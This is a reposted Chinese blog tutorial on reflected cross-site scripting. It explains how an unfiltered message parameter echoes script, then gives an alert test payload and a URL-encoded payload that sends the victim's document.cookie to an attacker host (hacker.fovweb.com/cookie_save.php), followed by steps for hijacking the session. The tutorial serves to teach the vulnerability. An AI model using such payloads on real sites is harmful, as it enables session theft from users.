跨站脚本攻击之反射型XSS漏洞【转载】

转载自FovWeb.com

 

如果一个WEB应用程序使用动态页面传递参数向用户显示错误信息,就有可能会造成一种常见的XSS漏洞。一般情况下,这种页面使用一个包含消息文本的参数,并在页面加载时将文本返回给用户。对于开发者来说,使用这种方法非常方便,因为这样的解决方法可方便的将多种不同的消息返回状态,使用一个定制好的信息提示页面。

 

例如,通过程序参数输出传递的参数到HTML页面,则打开下面的网址将会返回一个消息提示:

http://fovweb.com/xss/message.php?send=Hello,World!

输出内容:

Hello,World!

此程序功能为提取参数中的数据并插入到页面加载后的HTML代码中,这是XSS漏洞的一个明显特征:如果此程序没有经过过滤等安全措施,则它将会很容易受到攻击。下面我们一起来看如何实施攻击。
在原程序的URL的参数为,替换为我们用来测试的代码:

http://fovweb.com/xss/message.php?send=<script>alert(‘xss’)</script>

页面输出内容则为:

<script>alert(‘xss’)</script>

当用户在用户浏览器打开的时,将会弹出提示消息。如图1所示:

通过URL传参测试XSS

图1 通过URL传参测试XSS

在目前互联网的Web程序中存在的XSS漏洞,有近75%的漏洞属于这种简单的XSS漏洞。由于这种漏洞需要发送一个包含了嵌入式JavaScript代码的请求,随后这些代码被反射给了发出请求的用户,因此被称为反射型XSS。攻击有效符合分别通过一个单独的请求与响应进行传送和执行,因为也被称为一阶XSS。

利用漏洞

利用XSS漏洞攻击Web程序的其它用户的方式有很多种。最简单的一种攻击方法是,利用XSS漏洞来劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者则拥有该授权用户的所有权限。
利用反射型XSS漏洞进行会话权限劫持的攻击步骤,如图2所示:

反射型XSS漏洞的攻击步骤

图2 反射型XSS漏洞的攻击步骤

(1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie:
例:

Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7

(2) 攻击者将含有攻击代码的URL发送给被攻击人;

例:

http://fovweb.com/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.fovweb.com/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E

(3) 用户打开攻击者发送过来的ULR;
(4) Web应用程序执行用户发出的请求;
(5) 同时也会执行该URL中所含的攻击者的JavaScript代码;
(6) 例子中攻击者使用的攻击代码作用是将用户的cookie信息发送到cookie_save.php这个文件来记录下来;
(7) 攻击者在得到用户的cookie信息后,将可以利用这些信息来劫持用户的会话。以该用户的身份进行登录。

posted @ 2012-04-25 21:56  菜园仔  阅读(7233)  评论(0编辑  收藏  举报